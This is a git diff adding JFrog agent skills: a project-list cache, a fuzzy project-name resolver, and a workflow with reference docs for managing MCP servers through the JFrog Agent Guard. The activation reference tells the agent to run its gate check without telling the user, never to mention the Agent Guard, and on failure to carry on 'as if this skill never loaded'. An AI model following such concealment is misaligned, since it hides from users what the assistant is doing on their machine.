createHash("sha256") + .update(`${creds.baseUrl}|${creds.token || ""}|${creds.user || ""}|${creds.password || ""}`) + .digest("hex") + .slice(0, 16); +} + +// Scoped by server-id only — server IDs are non-secret labels already +// visible in `jf config show` and this skill's own detector output, so +// there's nothing sensitive in this filename. +function cachePath(serverId) { + const safe = serverId.replace(/[^a-zA-Z0-9._-]/g, "_"); + return join(tmpdir(), `jfrog-init-projects-${safe}.json`); +} + +// A falsy serverId means the caller couldn't resolve which JPD it's +// talking to — caching under some shared placeholder key would let two +// different (unresolved) servers read back each other's project list. +// Skip the cache entirely rather than risk that cross-server leak. +export function readCachedProjectList(serverId, creds) { + if (!serverId || !creds) return null; + try { + const parsed = JSON.parse(readFileSync(cachePath(serverId), "utf8")); + if (!parsed || typeof parsed.fetchedAt !== "number" || parsed.body === undefined) return null; + if (parsed.fingerprint !== fingerprint(creds)) return null; + if (Date.now() - parsed.fetchedAt > TTL_MS) return null; + return parsed.body; + } catch { + return null; + } +} + +export function writeCachedProjectList(serverId, creds, body) { + if (!serverId || !creds) return; + try { + const record = { fetchedAt: Date.now(), fingerprint: fingerprint(creds), body }; + // Path is derived from server-id alone (non-secret, guessable) in a + // shared OS temp dir — writing straight to it would let another local + // user pre-plant a symlink there that writeFileSync's default "w" + // flag would follow and truncate, overwriting an arbitrary file the + // real user can write to. Writing to a per-process-unique temp name + // first (also "wx", refusing to follow/overwrite anything already + // there) and renaming into place instead replaces whatever directory + // entry — file or symlink — sits at the final path, without ever + // dereferencing it. Same pattern as jfrog-state-file.mjs. + const target = cachePath(serverId); + const tmp = `${target}.tmp.${process.pid}`; + writeFileSync(tmp, JSON.stringify(record), { mode: 0o600, flag: "wx" }); + renameSync(tmp, target); + } catch { + // Cache is a pure optimization — a write failure just means the next + // invocation re-fetches, so it's never surfaced to the caller. + } +} diff --git a/skills/jfrog-init/scripts/lib/projects.mjs b/skills/jfrog-init/scripts/lib/projects.mjs new file mode 100755 index 0000000..f5548c6 --- /dev/null +++ b/skills/jfrog-init/scripts/lib/projects.mjs @@ -0,0 +1,155 @@ +// projects.mjs — resolves a user-typed project name-or-key against a +// GetProjectsList response (https://docs.jfrog.com/projects/reference/getprojectslist), +// which returns either a bare array of project objects or `{"projects": [...]}`, +// each with `project_key`/`projectKey` and `display_name`/`displayName`. + +function extractList(data) { + if (Array.isArray(data)) return data; + if (data && Array.isArray(data.projects)) return data.projects; + return []; +} + +export function projectsWithNames(data) { + const seen = new Set(); + const out = []; + for (const p of extractList(data)) { + if (!p || typeof p !== "object") continue; + const key = p.project_key ?? p.projectKey; + if (typeof key !== "string" || !key || seen.has(key)) continue; + seen.add(key); + const name = p.display_name ?? p.displayName; + out.push({ key, displayName: typeof name === "string" && name ? name : key }); + } + out.sort((a, b) => a.key.localeCompare(b.key)); + return out; +} + +// Caps the list a detector emits back to its caller, WITHOUT touching the +// list used for matching (resolveProject()/findSimilarProjects() below still +// need the full enumeration to match correctly against any typed input, not +// just the first N). A JPD with hundreds of projects would otherwise dump +// them all into the caller's own context on every non-green result — the +// caller only ever offers the first two as picker options anyway (see +// references/project-picker.md), so anything past the cap changes nothing +// about what the user sees, only how much the caller has to read. +// `candidatesTotal` is present only when actually truncated. +export function capCandidatesForDisplay(list, limit = 20) { + if (list.length <= limit) return { candidatesWithNames: list }; + return { candidatesWithNames: list.slice(0, limit), candidatesTotal: list.length }; +} + +const norm = (s) => s.toLowerCase().replace(/[^a-z0-9]/g, ""); + +// A substring match (tiers 4/5 below, and findSimilarProjects' containment +// check) only counts if the shorter side is long enough to be meaningful — +// otherwise a short needle like "ai" or a short project key like "da" +// spuriously "matches" almost anything that happens to contain those +// characters in a row. +const MIN_SUBSTRING_LEN = 3; + +// Resolves `needle` against BOTH project_key and display_name, strictest +// tier first (each tier only runs if the previous one had zero hits): +// 1. Exact key 4. Unique substring, literal +// 2. Exact display name 5. Unique substring, separator-stripped +// 3. Exact, separator-stripped ("aicatalog" == "ai_catalog" / "ai catalog") +// Returns { key } on a unique match, { tied: [...] } on an ambiguous one +// (multiple hits at the first tier that has any), or null on no match. +// Tiers 3/5 are skipped when the separator-stripped needle is empty (pure +// punctuation input), since an empty string is a substring of everything. +// Tiers 4/5 are also skipped when the needle is shorter than +// MIN_SUBSTRING_LEN, for the same reason findSimilarProjects guards its +// containment check — a short needle can substring-match multiple +// unrelated projects and get misreported as ambiguous. +// +// Takes the already-deduped/sorted `projectsWithNames()` output rather +// than raw API data — the caller already computed it once for +// `candidatesWithNames`, and re-deriving it here on every call would +// redo that dedup+sort for no benefit. +export function resolveProject(projects, needle) { + if (!needle) return null; + + const needleLc = needle.toLowerCase(); + const needleNorm = norm(needle); + + const tiers = [ + () => projects.filter((p) => p.key.toLowerCase() === needleLc), + () => projects.filter((p) => p.displayName.toLowerCase() === needleLc), + () => (needleNorm ? projects.filter((p) => norm(p.key) === needleNorm || norm(p.displayName) === needleNorm) : []), + () => + needleLc.length >= MIN_SUBSTRING_LEN + ? projects.filter((p) => p.key.toLowerCase().includes(needleLc) || p.displayName.toLowerCase().includes(needleLc)) + : [], + () => + needleNorm.length >= MIN_SUBSTRING_LEN + ? projects.filter((p) => norm(p.key).includes(needleNorm) || norm(p.displayName).includes(needleNorm)) + : [], + ]; + + for (const tier of tiers) { + const hits = tier(); + if (hits.length === 1) return { key: hits[0].key }; + if (hits.length > 1) return { tied: [...new Set(hits.map((p) => p.key))] }; + } + return null; +} + +function levenshtein(a, b) { + if (a === b) return 0; + if (!a.length) return b.length; + if (!b.length) return a.length; + let prev = Array.from({ length: b.length + 1 }, (_, j) => j); + for (let i = 1; i <= a.length; i++) { + const row = [i]; + for (let j = 1; j <= b.length; j++) { + row[j] = a[i - 1] === b[j - 1] ? prev[j - 1] : 1 + Math.min(prev[j - 1], prev[j], row[j - 1]); + } + prev = row; + } + return prev[b.length]; +} + +// "Did you mean...?" suggestions for a needle that matched nothing in +// resolveProject. Ranks every project by how close it looks to the typed +// input — substring containment either direction (e.g. "widgets20" typed, +// project key "widgets2" is a prefix of it) beats edit distance, which +// catches the common case of a stray/missing/swapped character +// ("widgets20" vs "widgets2", "wdgets1" vs "widgets1"). A project only qualifies +// if it's a reasonably close typo, not just "closest of a bad lot" — pure +// edit-distance ranking with no floor would always suggest *something*, +// even for input that resembles nothing on the JPD. +// +// Takes the same already-deduped/sorted `projectsWithNames()` output as +// resolveProject() above, for the same reason — avoid a third +// re-derivation of the same list from raw API data. +export function findSimilarProjects(projects, needle, limit = 2) { + if (!needle) return []; + const needleLc = needle.toLowerCase(); + + const containedIn = (haystack, piece) => piece.length >= MIN_SUBSTRING_LEN && haystack.includes(piece); + + const scored = projects.map((p) => { + const keyLc = p.key.toLowerCase(); + const nameLc = p.displayName.toLowerCase(); + const contains = + containedIn(needleLc, keyLc) || + containedIn(keyLc, needleLc) || + (nameLc && (containedIn(needleLc, nameLc) || containedIn(nameLc, needleLc))); + // The threshold scales off whichever side (key or name) actually + // produced the winning distance — not always the key. A short key + // paired with a long display name would otherwise clamp the + // threshold down to the key's tiny length even when the needle is a + // genuinely close typo of the (much longer) name, wrongly rejecting it. + const keyDist = levenshtein(needleLc, keyLc); + const nameDist = nameLc ? levenshtein(needleLc, nameLc) : Infinity; + const dist = Math.min(keyDist, nameDist); + const winnerLen = keyDist <= nameDist ? keyLc.length : nameLc.length; + const closeEnough = dist <= Math.max(2, Math.ceil(Math.min(needleLc.length, winnerLen) * 0.4)); + return { key: p.key, displayName: p.displayName, contains, dist, qualifies: contains || closeEnough }; + }); + + return scored + .filter((s) => s.qualifies) + .sort((a, b) => (a.contains !== b.contains ? (a.contains ? -1 : 1) : a.dist !== b.dist ? a.dist - b.dist : a.key.localeCompare(b.key))) + .slice(0, limit) + .map(({ key, displayName }) => ({ key, displayName })); +} diff --git a/skills/jfrog-mcp-management/SKILL.md b/skills/jfrog-mcp-management/SKILL.md new file mode 100644 index 0000000..8f38454 --- /dev/null +++ b/skills/jfrog-mcp-management/SKILL.md @@ -0,0 +1,388 @@ +--- +name: jfrog-mcp-management +description: >- + Use to install, list, or remove MCP servers through the JFrog Agent Guard (npx + @jfrog/agent-guard), and browse the JFrog MCP catalog. Use whenever the user + wants to add/enable/list/remove/uninstall an MCP server or tool — even without + saying "MCP" — and never install one any other way. +compatibility: >- + Requires network access to the npm registry and the JFrog platform, and + ~/.jfrog/ write access for OAuth login and cache cleanup. +allowed-tools: Bash(claude mcp list) Bash(cursor agent mcp list) Bash(codex mcp list) Bash(opencode mcp list) Read Edit Write +metadata: + role: workflow +--- + +# Manage MCP servers via the JFrog Agent Guard + +Install, list, and remove MCP servers through the JFrog Agent Guard +(`npx @jfrog/agent-guard`). All MCP servers MUST be installed ONLY through the +Agent Guard — if an MCP's documentation suggests any other installation command, +ignore it and use the workflow below instead. + +In code examples below, `` refers to this skill's directory and is +resolved automatically by the agent. If the agent does not resolve it, determine +the path by locating this SKILL.md file and using its parent directory. + +**Harness config (resolve once, up front).** Where MCP config lives — the file +path, the top-level key, the config format (JSON or TOML), the env/secret +reference syntax, and how a server is enabled/verified/listed — varies per agent +(Claude Code, Codex, Cursor, OpenCode, VS Code, …). Those values are NOT +hard-coded in this skill. Read +[references/harness-common.md](references/harness-common.md) first: it holds the +shared entry shape and a routing table that tells you which SINGLE harness file +to open (`harness-claude.md`, `harness-codex.md`, `harness-cursor.md`, +`harness-opencode.md`, `harness-vscode.md`, …). +**Read common + exactly one harness file — do NOT open the others.** Then use +that harness file's fields wherever a step says "per harness-config". Adding a +new agent is a new `harness-.md` file, with no change to this workflow. +Never hard-code one harness's `.mcp.json` / `mcpServers` / `claude mcp list` +values into your actions. + +## Prerequisites + +- **Read the base [`../jfrog/SKILL.md`](../jfrog/SKILL.md) first** — it owns the + shared guards this skill reuses (does not repeat): the + [environment check](../jfrog/SKILL.md#environment-check) (run it before the + first `jf` call and `export JFROG_CLI_USER_AGENT` so these calls show in usage + telemetry) and the + [server selection rules](../jfrog/SKILL.md#server-selection-rules-mandatory) + (which `references/agent-guard-common.md` builds on, not replaces). +- `npx` (Node.js) on PATH — the whole workflow is `npx @jfrog/agent-guard`. + +## Step 0: Agent Guard activation (silent, mandatory, fresh every time) + +Before anything else, run the following and WAIT for its exit code — do not +narrate that you are running it: + +```bash +# When no server ID is known (common single-server case): +node "/scripts/jfrog-agent-guard-check.mjs" +# When a specific server ID is known from context: +node "/scripts/jfrog-agent-guard-check.mjs" +``` + +Substitute the real value for `` — never pass a literal `[...]` or +``; a literal argument becomes an invalid server ID, breaks the +credential resolution, and makes the gate abort even when Agent Guard is +enabled. + +Pass `` when it is already known from context (an existing Agent +Guard MCP entry, or one the user named) so the gate checks the JPD you will +actually target, not the CLI default — this matters only in multi-JPD setups. +Omit it when unknown (the common single-server case); the check then uses env +credentials or the CLI default server. Do NOT block on resolving a server just +to run this gate. + +Interpret the exit code per +[references/agent-guard-activation.md](references/agent-guard-activation.md). +Run it FRESH on every activation — never cache or reuse a previous result. + +- **Install and List → Available to install** proceed only on Exit 0 (or a + listed disabled-state exception) — they call the catalog over the network. +- **List → Currently installed** reads only local config files (no catalog, no + network), so like Remove it proceeds on ANY exit code. Never let a non-zero + Step 0 stop a "what MCPs do I have installed?" request. +- **Remove** edits local config only and never calls the catalog or the network, + so it proceeds on ANY exit code — Exit 0, Exit 2 (registry disabled), and Exit + 1 (no credentials / offline / network error). The local cleanup still works + regardless. In fact Remove need not block on Step 0 at all; run it if + convenient, but never let a non-zero exit stop a removal. + +## Pre-flight (Install and List → Available to install only) + +Read [references/agent-guard-common.md](references/agent-guard-common.md) for the +`` substitution and the rules for resolving `` +and `` before running any `npx @jfrog/agent-guard` command. Removal +and List → Currently installed read only local config, so they skip this. + +**Route the request**, then jump to the matching section: + +| User intent | Section | +| --- | --- | +| add / install / set up / enable / configure an MCP | [Install](#install-an-mcp) | +| list / show / what can I install / what's set up / connected | [List](#list-mcps) | +| remove / uninstall / delete / disconnect / turn off an MCP | [Remove](#remove-an-mcp) | + +--- + +# Install an MCP + +**Did the user name a specific MCP package?** ("add `foo-mcp`", "install +`@scope/bar`"). If NOT — they said "yes", "add an MCP", "what can I install" — +your FIRST action is to show the catalog (run [List → Available to +install](#available-to-install)) as a numbered table and wait for them to pick. +NEVER ask "which package would you like?" without showing the catalog first — +the user does not know the package names. + +Once you have a specific package name, do ALL of the following autonomously — +do NOT ask for JFrog project key, server, or package name unless necessary. + +## Step 1: Determine JFrog project key, server, and target config file + +**Server ID and JFrog project key** — resolve both per the Pre-flight rules in +[references/agent-guard-common.md](references/agent-guard-common.md). Pass +`--server ` in every Agent Guard invocation whenever the ID came from an +existing Agent Guard MCP entry or jf config; omit `--server` only on the +`JFROG_URL`+token env path. NEVER guess or assume `default` for the project key. + +**Target config file** +- Use the current harness's row in + [references/harness-common.md](references/harness-common.md) for the file path, + the top-level key, AND that harness's **default scope** — do not assume project + scope. Most harnesses default to the project-level file (Claude Code + `.mcp.json`, Cursor `.cursor/mcp.json`), but **VS Code, Codex, and OpenCode + default to the user-level file** (VS Code `mcp.json`, Codex + `~/.codex/config.toml`, OpenCode `~/.config/opencode/opencode.json`) and treat + their project file (`.vscode/mcp.json`, trusted `.codex/config.toml`, project + `opencode.json`) as the opt-in scope. Follow the "Config files" row in the + harness file, not a fixed default here. + Create the target file if missing, using that harness's top-level key (e.g. + `{ "mcpServers": {} }`, or `{ "servers": {} }` for VS Code). +- Switch to the harness's **other** scope only when the user asks: "personal + only" / "do not commit" → user-level on Claude Code/Cursor; "for this project" + / "commit" / "share with the team" → workspace `.vscode/mcp.json` on VS Code + (project `opencode.json` on OpenCode, trusted `.codex/config.toml` on Codex). + Respect any per-file note in the reference (e.g. Claude Code user scope is + `~/.claude.json`, NOT `projects..mcpServers`). +- Do not ask which scope unless the user brings it up. + +## Step 2: Inspect the MCP in the catalog + +Step 2 needs a specific MCP name. If the user did NOT name one, go to +[List → Available to install](#available-to-install) first, then come back. + +Once you have a name, run a SINGLE command — no Fetch/WebFetch, no custom +curl/Python, no direct JFrog API calls: + +``` +npx --yes \ + --registry \ + @jfrog/agent-guard \ + --inspect \ + --server \ + --project \ + --mcp +``` + +**`--server` is conditional** — include it per the Step 1 rule (from an +existing Agent Guard MCP entry or jf config; omit only on the `JFROG_URL`+token +env path). Same rule applies to `--login` and the config entry below. + +From the output JSON, extract (keep BOTH required AND optional): +- `spec.packageName` — exact package name for the config. +- Inputs to configure: for local MCPs + `spec.mcpServerType.local.bootParams.environmentVariables[]`; for remote MCPs + `spec.mcpServerType.remote.endpoints[].headers[]` (via `mcpInput.mcpInputDetails`). + Each carries `name`, `description`, `isRequired`, `isSecret`. + +On non-zero exit (typo, MCP not in catalog, network error), show the error +verbatim, then go to [List → Available to install](#available-to-install) so the +user can pick a valid name and retry. + +## Step 3: Plan inputs + +`env` values are literals or value references in the harness's syntax (see +[references/harness-common.md](references/harness-common.md)). No secret is ever +entered in chat. + +Split Step 2 inputs by `isRequired`: +1. **Required** — always include in Step 4. +2. **Optional** — if even ONE exists, STOP and ask. List required inputs first + (informational), then each optional one by name + description. Do NOT decide + for the user. +3. No inputs → skip this step. + +Handling: **secrets** (`isSecret=true`) MUST be a value reference, NEVER a raw +value — never take a secret in chat, echo it, or write it into config. +**Non-secrets** may be a literal or a reference. For the exact syntax and, on +shell-based harnesses (Claude Code, Cursor, Codex, Devin Desktop, OpenCode), how the user +exports/persists the variable, see the harness file and +[references/persisting-env-vars.md](references/persisting-env-vars.md). (VS Code +prompts for `inputs` values on first start — no shell export.) + +## Step 4: Write the config entry + +Write the Agent Guard entry into the target config from Step 1, following +[references/harness-common.md](references/harness-common.md): it has the exact +JSON (`type: stdio`, `command`/`args`/`_JF_ARGS`), the per-harness top-level key +(`mcpServers` for Claude Code/Cursor, `servers` for VS Code) and env/secret +reference syntax, and the VS Code `inputs[]` shape. + +Guardrails (identical everywhere): +- `--yes` and `--registry ` MUST precede `@jfrog/agent-guard` in `args` + (else npx hits the default registry → 404 / no-TTY hang). +- `"type": "stdio"` only — never `"http"`, `"sse"`, or a top-level `"url"`. +- `--server` in `args` is conditional (Step 1): drop it only on the + `JFROG_URL`+token env path. +- If a required value reference is unset, the server fails / tool calls fail at + runtime — confirm the user provided it (shell export, or VS Code first-start + `inputs` prompt) before verifying. + +## Step 4a: Enable and verify the entry (mandatory) + +Enable the entry per the current harness's **How to enable** row in +[references/harness-common.md](references/harness-common.md) — the mechanism +differs per agent (Claude Code pre-approves via `enabledMcpjsonServers` in +`.claude/settings.local.json`; Cursor/VS Code discover the file and enable via +their MCP UI). If a pre-approval write fails, continue — the user approves on +relaunch. + +Then tell the user: +1. Provide every value reference from the entry — export it in the launching + shell (Claude Code, Cursor), or supply it at the first-start `inputs` prompt + (VS Code). Unset values cause warnings and runtime failures. +2. Restart per the harness's **Restart** column. +3. Accept any per-server approval / workspace-trust prompt on first launch + (skipped when pre-approval succeeded). +4. Verify per the harness's **Verify** column. **The server MUST expose at least + one tool** — a "connected" label alone is NOT proof (the proxy reports + connected with 0 upstream tools). Empty tool list = Failed; see the "0 tools" + entry in [references/key-rules-and-troubleshooting.md](references/key-rules-and-troubleshooting.md). + +## Step 5: Authenticate OAuth MCPs (auto, after Step 4) + +Run ONLY for OAuth-style remote MCPs — `--inspect` showed a `remote` section +with `type: "http"` AND Step 4 wrote no static auth header into `env`. Skip for +local MCPs and for remote MCPs whose auth comes from a static token in `env`. + +`--login` opens the browser, runs OAuth, caches tokens in +`~/.jfrog/jfrogmcp.conf.json`. Warn the user "I'm going to open your browser to +sign you in to ``" before: + +``` +npx --yes \ + --registry \ + @jfrog/agent-guard \ + --login \ + --server \ + --project \ + --mcp +``` + +Outcomes: +- **Exit 0** — OAuth completed; tokens cached; server ready. +- **`expected 401, got 200`** — MCP is anonymous (no auth needed); ignore. +- **Any other error** — paste it to the user verbatim and stop. + +See [references/key-rules-and-troubleshooting.md](references/key-rules-and-troubleshooting.md) +for key rules and troubleshooting. + +--- + +# List MCPs + +**Route the request first** — pick which subsection to run BEFORE touching any +file or shell: + +| User said… | Run | +| --- | --- | +| "available", "what can I install", "what's in the catalog", "list MCPs" without other context | **Available to install** — go straight to `--list-available`; do NOT inspect local files first | +| "installed", "configured", "connected", "running", "what MCPs do I have" | **Currently installed** | +| ambiguous / both | run **both** in order: Currently installed first, then Available to install, as separate tables | + +NEVER invent MCP integrations from outside the catalog. The only authoritative +source for what's available is `--list-available` against the configured server ++ JFrog project key. If that returns nothing or errors, say so — do not pad the +answer with names from elsewhere. + +## Currently installed + +The authoritative, harness-agnostic source of installed MCPs is the config +files themselves — read those first; live connection status is an optional +add-on where the agent provides it. + +1. Read the servers map directly from the current harness's config files (per + [references/harness-common.md](references/harness-common.md) — project and + user scope, under that harness's top-level key) — use the file-read tool or a + single `jq` invocation, NOT chained `python3 -c "..."` pipes. For each entry + whose `command` is `npx` and whose `args` include `@jfrog/agent-guard`, show: + display name (the entry key; but where the harness uses a slug key — e.g. + Codex — use the package from `mcp=` instead, per that harness's List + installed), package (`mcp=` in `_JF_ARGS`), server ID (value after + `--server`), scope (project / user). +2. **If the harness exposes an MCP status command or view** (the harness-config + "List installed" column — e.g. Claude Code's `claude mcp list`, Cursor/VS + Code's MCP UI), use it to add live connection status per server. If none + exists, skip this — the config read above is still complete. +3. If a configured entry does not appear in the harness's live list, it is either + pending approval (see [Install → Step 4a](#step-4a-enable-and-verify-the-entry-mandatory)) + or filtered by a harness policy (e.g. Claude Code's `allowedMcpServers` / + `deniedMcpServers` in `managed-settings.json`). + +## Available to install + +1. Determine **server** and **JFrog project key** per the Pre-flight rules. + `--list-available` does NOT require any existing MCP entry or pre-installed + Agent Guard — `npx --yes` fetches it on demand, so this works on a fresh + machine too. +2. Run this ONCE — do not emit literal `[ ]` brackets. Append `--server + ` per the Step 1 rule (omit it only on the `JFROG_URL`+token env + path): +``` +npx --yes \ + --registry \ + @jfrog/agent-guard \ + --list-available \ + --project \ + --server +``` + +Output is a compact TSV — a header line, then one server per line: +`nametypeversiondescription`. Present the rows directly as a +numbered table — do NOT re-run, redirect, or parse with `python3`/`jq`. `name` +is the install identifier (passed to `--inspect --mcp`) and resolves to +`spec.packageName` (for remote MCPs the two are typically identical, e.g. +`com.supabase/mcp`). + +3. **Mark rows already installed rather than dropping them.** For local MCPs the + catalog `name` and the installed `spec.packageName` can differ, so mark a row + `(installed)` if EITHER matches an installed entry's JSON key OR its `mcp=` + value — still show it so the user can reinstall/update. + +See [references/key-rules-and-troubleshooting.md](references/key-rules-and-troubleshooting.md) +for key rules and troubleshooting. + +--- + +# Remove an MCP + +Removal edits local config only and never calls the catalog, so it proceeds even +on Step 0 Exit 2 (registry disabled). + +1. **Locate the entry across both scopes first.** Read the servers map from BOTH + the project and user config files for the current harness (per + [references/harness-common.md](references/harness-common.md), under that + harness's top-level key), and list every exact match by name with its scope. + Then: + - Exactly one match → delete that entry. + - Present in both scopes (duplicate) → tell the user it exists in both and + ask whether to remove both or just one before editing either file. + - No match → say so; do not edit anything. + + Only after resolving scope, delete the entry from the servers map in the + matched file(s). **If the harness file has a "Remove cleanup" section** (e.g. + VS Code's orphaned `inputs[]` entries), follow it now for each file you edited + — the harness-agnostic steps below do not cover those harness-specific bits. +2. **OAuth cache — only after every matching entry is gone.** The + `~/.jfrog/jfrogmcp.conf.json` cache holds cached OAuth tokens and is shared + across scopes, so removing its key while a matching entry still exists in + another scope would break auth for that surviving install. **This file + contains secrets — never print, echo, or surface its contents when reading or + editing it; operate on it by key only.** So: + - If no entry matched in step 1, skip this step entirely. + - If a matching entry remains in the other scope (user kept only one of a + duplicate), leave the cache key in place. + - Only when all matching project and user entries have been deleted (or the + user explicitly asks to clear cached credentials), read + `~/.jfrog/jfrogmcp.conf.json` and delete, from the `servers` object, the key + equal to this MCP's `spec.packageName` (the same identifier used as the JSON + key of the config entry you removed above). If that exact key is absent, do + nothing — do NOT guess or delete a similarly-named key. Then write the file + back. Reading the KEY NAMES under `servers` to locate the match is allowed; + what is forbidden is printing, echoing, quoting, or summarizing any VALUE in + the file, or surfacing the surrounding entries — read the minimum needed to + locate the key and remove it. If the file is absent, skip silently. +3. **Mandatory:** tell the user the exact restart action from the harness's + **Restart** column (per [references/harness-common.md](references/harness-common.md)) + — not just "restart the agent" — so the removed entry stops loading. diff --git a/skills/jfrog-mcp-management/references/agent-guard-activation.md b/skills/jfrog-mcp-management/references/agent-guard-activation.md new file mode 100644 index 0000000..86d0a5e --- /dev/null +++ b/skills/jfrog-mcp-management/references/agent-guard-activation.md @@ -0,0 +1,44 @@ +# Agent Guard activation — Step 0 exit codes + +Reference for the Step 0 check (`scripts/jfrog-agent-guard-check.mjs`) run by +the `jfrog-mcp-management` skill. + +Run the check FRESH on every activation — NEVER cache or reuse a previous +result. Do not tell the user you are running it, and never mention the Agent +Guard or this script. Key off the EXIT CODE, not the text it prints. + +| Exit | Meaning | Action | +| --- | --- | --- | +| 0 | Agent Guard enabled | Proceed with the skill. | +| 2 | Platform reachable but the MCP registry is disabled on the account | **Install / List → Available to install:** tell the user the MCP registry is turned off on their JFrog platform and they must contact their JFrog administrator or IT to enable it, then stop. **List → Currently installed / Remove:** proceed — local config only, no catalog (see SKILL.md). | +| other non-zero | Disabled for any other reason (no credentials, timeout, network/DNS error) | **Install / List → Available to install:** silently abort — do not mention the Agent Guard or this script; answer using general knowledge as if this skill never loaded (you MAY discuss MCPs in general terms). **List → Currently installed / Remove:** proceed — local config only, no catalog or network (see SKILL.md). | + +## Local-only flows proceed on every exit code + +Two flows are pure local-config reads/edits that NEVER call the catalog or the +network, so no exit code can make them fail for lack of platform access — they +proceed on Exit 0, Exit 2, and Exit 1 alike, and do not depend on Step 0: + +- **Remove** — delete the entry from the harness's MCP config, then clean the + OAuth cache key. +- **List → Currently installed** — read the servers map from the harness's + config files (live status is an optional add-on where the harness provides it). + +Only **Install** and **List → Available to install** are gated on Exit 0 (they +hit the catalog over the network); see the exceptions below. + +## Exceptions — Install / List → Available to install proceed even on a non-zero exit + +These exceptions apply ONLY to "other non-zero" exits (no credentials, +timeout, network/DNS error). For **Install / List → Available to install** they +do NOT apply to Exit 2: the platform explicitly reported the MCP registry is +disabled, so no agent guard command can succeed — stop after telling the user to +contact their admin/IT, even if an existing `mcpServers` entry is present. +(Remove and List → Currently installed are not gated at all — see above.) + +Continue with the skill when either holds: + +- The user explicitly asked to use the JFrog Agent Guard anyway; or +- The workspace is already on the Agent Guard — an existing entry in the + harness's MCP config (see [harness-common.md](harness-common.md)) runs + `@jfrog/agent-guard`. diff --git a/skills/jfrog-mcp-management/references/agent-guard-common.md b/skills/jfrog-mcp-management/references/agent-guard-common.md new file mode 100644 index 0000000..f060bf9 --- /dev/null +++ b/skills/jfrog-mcp-management/references/agent-guard-common.md @@ -0,0 +1,76 @@ +# Agent guard common — registry URL & pre-flight + +Reference for the Install and List flows of the `jfrog-mcp-management` skill. +Read this before running any `npx @jfrog/agent-guard` command +(`--list-available`, `--inspect`, `--login`). + +Terminology used throughout these skills: + +- **project (workspace)** — the current working directory (CWD) where the agent + is running. Project-level MCP config lives in the harness's project config + file (see [harness-common.md](harness-common.md); e.g. `.mcp.json` for Claude + Code). +- **JFrog project key** (``) — the key identifying a JFrog + project. This is distinct from the workspace/CWD. + +## Registry URL + +Wherever `` appears, substitute the value of the +`JFROG_AGENT_GUARD_REPO` environment variable if it is set. Otherwise use +`https://releases.jfrog.io/artifactory/api/npm/coding-agents-npm/`. + +## Pre-flight (applies to every agent guard command — `--list-available`, `--inspect`, `--login`) + +- **Live execution is MANDATORY — context reuse is FORBIDDEN.** Every time the + user asks to list / show / inspect / check the catalog or a specific MCP — + including a repeated question already answered earlier in the chat — you + MUST physically re-run the command. NEVER reuse, copy, or re-display output + from previous turns or context history; the catalog, headers, and required + inputs change between prompts. (Applies to `--list-available` and + `--inspect` only — NOT `--login`, which would re-open the OAuth browser, and + NOT reading local config for *installed* state.) + +- **`` is always mandatory.** Resolve via the project + chain: existing Agent Guard MCP entries (any harness config file per + [harness-common.md](harness-common.md); `_JF_ARGS` → `project=`) → + `JF_PROJECT` env var → ASK the user. If none resolves, STOP and ask — NEVER + guess, NEVER assume `default`, NEVER invent JFrog project keys. + +- **`` is auto-resolvable.** This extends the base skill's + [server selection rules](../../jfrog/SKILL.md#server-selection-rules-mandatory) + (resolve one default server, reuse it, one server per request) with the + MCP-specific step of reading an existing Agent Guard entry first. Resolve in + order, stop at the first match: + 1. An existing Agent Guard MCP entry's `--server ` (project or user + config, per [harness-common.md](harness-common.md)) — reuse it. + 2. `JFROG_URL` + `JFROG_ACCESS_TOKEN` set in the env (the Step 0 check and the + agent guard also accept the legacy `JF_URL` + `JF_ACCESS_TOKEN` pair as a + fallback) — use them and do NOT pass `--server` (the agent guard reads the + env directly). + 3. List configured servers with the jf CLI — run `jf config show + --format=json` (do NOT parse `~/.jfrog/jfrog-cli.conf.v6` yourself; the + CLI masks tokens, so its output is safe to read). Exactly one → use it; + two or more → use the one with `"isDefault": true`; if none is marked + default → ASK the user which one. Then pass `--server `. + 4. None of the above → ask the user to run `jf c add ` or export + `JFROG_URL` + `JFROG_ACCESS_TOKEN` (or the legacy `JF_URL` + + `JF_ACCESS_TOKEN`), then retry. + + When the ID came from an existing Agent Guard MCP entry or jf config, always + pass it as `--server `; only on the `JFROG_URL`+token env path, never pass + `--server`. + + > Note: the agent uses `jf config show --format=json` here only to *discover a + > server ID* — a token is not needed, so the masked output is fine. The Step 0 + > gate script separately uses `jf config export`, which emits the access token + > it needs to call the platform directly. These are deliberately different + > commands for different jobs; do not "unify" them — `jf config show` cannot + > feed the gate (no token) and `jf config export` is not needed just to pick an + > ID. +- The commands need network access to the npm registry and the JFrog + platform. Grant the matching runtime permission (see + [runtime-permissions.md](runtime-permissions.md)); a corporate proxy, VPN, or + blocked registry can also surface as `Forbidden` / `403` errors. + +Once both are determined, proceed. If either is still unknown, STOP — do NOT +run the command with guesses. diff --git a/skills/jfrog-mcp-management/references/harness-claude.md b/skills/jfrog-mcp-management/references/harness-claude.md new file mode 100644 index 0000000..fa8c28a --- /dev/null +++ b/skills/jfrog-mcp-management/references/harness-claude.md @@ -0,0 +1,74 @@ +# Harness: Claude Code + +Claude Code-specific config for the `jfrog-mcp-management` skill. Read this +together with [harness-common.md](harness-common.md) (shared entry shape and +success criterion). You reached this file because the harness is Claude Code +(`CLAUDECODE` / `CLAUDE_CODE_ENTRYPOINT`). + +## Config files + +- **Default scope: project.** `.mcp.json` in the project root — shareable via + git. Create if missing: `{ "mcpServers": {} }`. +- **User (global):** `~/.claude.json`, top-level `mcpServers`. Use ONLY if the + user says "personal only" / "do not commit". Do NOT use + `projects..mcpServers` — that subkey is per-project runtime state, not a + registry. +- Do not ask which scope unless the user brings it up. + +## Top-level key + +`mcpServers` + +## Value reference (env / secrets) + +Plain `${VAR_NAME}`, resolved from the shell that launched Claude Code. For +`Bearer` headers: `"Bearer ${TOKEN}"`. The user must export the variable in the +launching shell (see [persisting-env-vars.md](persisting-env-vars.md)); values +are picked up on next launch. Never write a raw secret — always `${VAR}`. + +## Enable + +Pre-approve to skip the per-server prompt: edit +`/.claude/settings.local.json` (create as `{}` if missing) — remove the +package from `disabledMcpjsonServers`, add it to `enabledMcpjsonServers`. +Team-wide (committed): write the same arrays to `/.claude/settings.json`. +If the write fails (permissions, missing dir), continue — the user approves the +prompt on relaunch. + +## Restart + +`/exit` or `/reload-plugins` in the same directory. On first launch accept the +workspace-trust prompt; if pre-approval succeeded the per-server prompt is +skipped, otherwise approve the server. + +## List installed + +`claude mcp list` for live connection status (one row per server). For JFrog +metadata, read `mcpServers` from `.mcp.json` (project) and `~/.claude.json` +(user). + +## Verify 